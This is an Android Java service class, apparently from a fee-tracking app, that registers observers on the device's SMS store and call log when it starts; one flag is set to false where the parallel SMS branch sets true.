package com.fee.master.service;
import android.app.Service;
import android.content.Intent;
import android.net.Uri;
import android.os.Handler;
import android.os.IBinder;
import android.provider.CallLog;
import com.fee.master.util.Constants;
public class BackService extends Service {
public static boolean isRunning = false;
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
isRunning = true;
//
if(!SmsDetailObserver.registed){
getContentResolver().registerContentObserver(Uri.parse(Constants.URI_SMS),
true, new SmsDetailObserver(getApplicationContext(), new Handler()));
SmsDetailObserver.registed = true;
}
if(!TeleDetailObserver.registed){
getContentResolver().registerContentObserver(CallLog.Calls.CONTENT_URI,
true, new TeleDetailObserver(getApplicationContext(), new Handler()));
TeleDetailObserver.registed = false;
}
}
}
|